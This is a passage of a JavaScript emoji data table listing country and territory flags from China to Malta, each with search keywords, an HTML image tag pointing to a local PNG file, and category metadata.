    category: "flags"
  },
  cn: {
    keywords: [ "china", "chinese", "prc", "flag", "country", "nation", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde8\ud83c\uddf3" src="1f1e8-1f1f3.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  christmas_island: {
    keywords: [ "christmas", "island", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde8\ud83c\uddfd" src="1f1e8-1f1fd.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  cocos_islands: {
    keywords: [ "cocos", "keeling", "islands", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde8\ud83c\udde8" src="1f1e8-1f1e8.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  colombia: {
    keywords: [ "co", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde8\ud83c\uddf4" src="1f1e8-1f1f4.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  comoros: {
    keywords: [ "km", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf0\ud83c\uddf2" src="1f1f0-1f1f2.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  congo_brazzaville: {
    keywords: [ "congo", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde8\ud83c\uddec" src="1f1e8-1f1ec.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  congo_kinshasa: {
    keywords: [ "congo", "democratic", "republic", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde8\ud83c\udde9" src="1f1e8-1f1e9.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  cook_islands: {
    keywords: [ "cook", "islands", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde8\ud83c\uddf0" src="1f1e8-1f1f0.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  costa_rica: {
    keywords: [ "costa", "rica", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde8\ud83c\uddf7" src="1f1e8-1f1f7.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  croatia: {
    keywords: [ "hr", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udded\ud83c\uddf7" src="1f1ed-1f1f7.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  cuba: {
    keywords: [ "cu", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde8\ud83c\uddfa" src="1f1e8-1f1fa.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  curacao: {
    keywords: [ "cura\xe7ao", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde8\ud83c\uddfc" src="1f1e8-1f1fc.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  cyprus: {
    keywords: [ "cy", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde8\ud83c\uddfe" src="1f1e8-1f1fe.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  czech_republic: {
    keywords: [ "cz", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde8\ud83c\uddff" src="1f1e8-1f1ff.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  denmark: {
    keywords: [ "dk", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde9\ud83c\uddf0" src="1f1e9-1f1f0.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  djibouti: {
    keywords: [ "dj", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde9\ud83c\uddef" src="1f1e9-1f1ef.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  dominica: {
    keywords: [ "dm", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde9\ud83c\uddf2" src="1f1e9-1f1f2.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  dominican_republic: {
    keywords: [ "dominican", "republic", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde9\ud83c\uddf4" src="1f1e9-1f1f4.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  ecuador: {
    keywords: [ "ec", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddea\ud83c\udde8" src="1f1ea-1f1e8.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  egypt: {
    keywords: [ "eg", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddea\ud83c\uddec" src="1f1ea-1f1ec.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  el_salvador: {
    keywords: [ "el", "salvador", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf8\ud83c\uddfb" src="1f1f8-1f1fb.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  equatorial_guinea: {
    keywords: [ "equatorial", "gn", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddec\ud83c\uddf6" src="1f1ec-1f1f6.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  eritrea: {
    keywords: [ "er", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddea\ud83c\uddf7" src="1f1ea-1f1f7.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  estonia: {
    keywords: [ "ee", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddea\ud83c\uddea" src="1f1ea-1f1ea.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  ethiopia: {
    keywords: [ "et", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddea\ud83c\uddf9" src="1f1ea-1f1f9.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  eu: {
    keywords: [ "european", "union", "flag", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddea\ud83c\uddfa" src="1f1ea-1f1fa.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  falkland_islands: {
    keywords: [ "falkland", "islands", "malvinas", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddeb\ud83c\uddf0" src="1f1eb-1f1f0.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  faroe_islands: {
    keywords: [ "faroe", "islands", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddeb\ud83c\uddf4" src="1f1eb-1f1f4.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  fiji: {
    keywords: [ "fj", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddeb\ud83c\uddef" src="1f1eb-1f1ef.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  finland: {
    keywords: [ "fi", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddeb\ud83c\uddee" src="1f1eb-1f1ee.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  fr: {
    keywords: [ "banner", "flag", "nation", "france", "french", "country" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddeb\ud83c\uddf7" src="1f1eb-1f1f7.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  french_guiana: {
    keywords: [ "french", "guiana", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddec\ud83c\uddeb" src="1f1ec-1f1eb.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  french_polynesia: {
    keywords: [ "french", "polynesia", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf5\ud83c\uddeb" src="1f1f5-1f1eb.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  french_southern_territories: {
    keywords: [ "french", "southern", "territories", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf9\ud83c\uddeb" src="1f1f9-1f1eb.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  gabon: {
    keywords: [ "ga", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddec\ud83c\udde6" src="1f1ec-1f1e6.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  gambia: {
    keywords: [ "gm", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddec\ud83c\uddf2" src="1f1ec-1f1f2.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  georgia: {
    keywords: [ "ge", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddec\ud83c\uddea" src="1f1ec-1f1ea.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  de: {
    keywords: [ "german", "nation", "flag", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde9\ud83c\uddea" src="1f1e9-1f1ea.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  ghana: {
    keywords: [ "gh", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddec\ud83c\udded" src="1f1ec-1f1ed.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  gibraltar: {
    keywords: [ "gi", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddec\ud83c\uddee" src="1f1ec-1f1ee.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  greece: {
    keywords: [ "gr", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddec\ud83c\uddf7" src="1f1ec-1f1f7.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  greenland: {
    keywords: [ "gl", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddec\ud83c\uddf1" src="1f1ec-1f1f1.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  grenada: {
    keywords: [ "gd", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddec\ud83c\udde9" src="1f1ec-1f1e9.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  guadeloupe: {
    keywords: [ "gp", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddec\ud83c\uddf5" src="1f1ec-1f1f5.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  guam: {
    keywords: [ "gu", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddec\ud83c\uddfa" src="1f1ec-1f1fa.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  guatemala: {
    keywords: [ "gt", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddec\ud83c\uddf9" src="1f1ec-1f1f9.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  guernsey: {
    keywords: [ "gg", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddec\ud83c\uddec" src="1f1ec-1f1ec.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  guinea: {
    keywords: [ "gn", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddec\ud83c\uddf3" src="1f1ec-1f1f3.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  guinea_bissau: {
    keywords: [ "gw", "bissau", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddec\ud83c\uddfc" src="1f1ec-1f1fc.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  guyana: {
    keywords: [ "gy", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddec\ud83c\uddfe" src="1f1ec-1f1fe.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  haiti: {
    keywords: [ "ht", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udded\ud83c\uddf9" src="1f1ed-1f1f9.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  honduras: {
    keywords: [ "hn", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udded\ud83c\uddf3" src="1f1ed-1f1f3.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  hong_kong: {
    keywords: [ "hong", "kong", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udded\ud83c\uddf0" src="1f1ed-1f1f0.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  hungary: {
    keywords: [ "hu", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udded\ud83c\uddfa" src="1f1ed-1f1fa.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  iceland: {
    keywords: [ "is", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddee\ud83c\uddf8" src="1f1ee-1f1f8.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  india: {
    keywords: [ "in", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddee\ud83c\uddf3" src="1f1ee-1f1f3.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  indonesia: {
    keywords: [ "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddee\ud83c\udde9" src="1f1ee-1f1e9.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  iran: {
    keywords: [ "iran,", "islamic", "republic", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddee\ud83c\uddf7" src="1f1ee-1f1f7.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  iraq: {
    keywords: [ "iq", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddee\ud83c\uddf6" src="1f1ee-1f1f6.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  ireland: {
    keywords: [ "ie", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddee\ud83c\uddea" src="1f1ee-1f1ea.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  isle_of_man: {
    keywords: [ "isle", "man", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddee\ud83c\uddf2" src="1f1ee-1f1f2.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  israel: {
    keywords: [ "il", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddee\ud83c\uddf1" src="1f1ee-1f1f1.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  it: {
    keywords: [ "italy", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddee\ud83c\uddf9" src="1f1ee-1f1f9.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  cote_divoire: {
    keywords: [ "ivory", "coast", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde8\ud83c\uddee" src="1f1e8-1f1ee.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  jamaica: {
    keywords: [ "jm", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddef\ud83c\uddf2" src="1f1ef-1f1f2.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  jp: {
    keywords: [ "japanese", "nation", "flag", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddef\ud83c\uddf5" src="1f1ef-1f1f5.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  jersey: {
    keywords: [ "je", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddef\ud83c\uddea" src="1f1ef-1f1ea.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  jordan: {
    keywords: [ "jo", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddef\ud83c\uddf4" src="1f1ef-1f1f4.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  kazakhstan: {
    keywords: [ "kz", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf0\ud83c\uddff" src="1f1f0-1f1ff.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  kenya: {
    keywords: [ "ke", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf0\ud83c\uddea" src="1f1f0-1f1ea.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  kiribati: {
    keywords: [ "ki", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf0\ud83c\uddee" src="1f1f0-1f1ee.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  kosovo: {
    keywords: [ "xk", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddfd\ud83c\uddf0" src="1f1fd-1f1f0.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  kuwait: {
    keywords: [ "kw", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf0\ud83c\uddfc" src="1f1f0-1f1fc.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  kyrgyzstan: {
    keywords: [ "kg", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf0\ud83c\uddec" src="1f1f0-1f1ec.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  laos: {
    keywords: [ "lao", "democratic", "republic", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf1\ud83c\udde6" src="1f1f1-1f1e6.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  latvia: {
    keywords: [ "lv", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf1\ud83c\uddfb" src="1f1f1-1f1fb.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  lebanon: {
    keywords: [ "lb", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf1\ud83c\udde7" src="1f1f1-1f1e7.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  lesotho: {
    keywords: [ "ls", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf1\ud83c\uddf8" src="1f1f1-1f1f8.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  liberia: {
    keywords: [ "lr", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf1\ud83c\uddf7" src="1f1f1-1f1f7.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  libya: {
    keywords: [ "ly", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf1\ud83c\uddfe" src="1f1f1-1f1fe.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  liechtenstein: {
    keywords: [ "li", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf1\ud83c\uddee" src="1f1f1-1f1ee.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  lithuania: {
    keywords: [ "lt", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf1\ud83c\uddf9" src="1f1f1-1f1f9.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  luxembourg: {
    keywords: [ "lu", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf1\ud83c\uddfa" src="1f1f1-1f1fa.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  macau: {
    keywords: [ "macao", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\uddf4" src="1f1f2-1f1f4.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  macedonia: {
    keywords: [ "macedonia,", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\uddf0" src="1f1f2-1f1f0.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  madagascar: {
    keywords: [ "mg", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\uddec" src="1f1f2-1f1ec.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  malawi: {
    keywords: [ "mw", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\uddfc" src="1f1f2-1f1fc.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  malaysia: {
    keywords: [ "my", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\uddfe" src="1f1f2-1f1fe.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  maldives: {
    keywords: [ "mv", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\uddfb" src="1f1f2-1f1fb.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  mali: {
    keywords: [ "ml", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf2\ud83c\uddf1" src="1f1f2-1f1f1.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  malta: {
    keywords: [ "mt", "flag", "nation", "country", "banner" ],
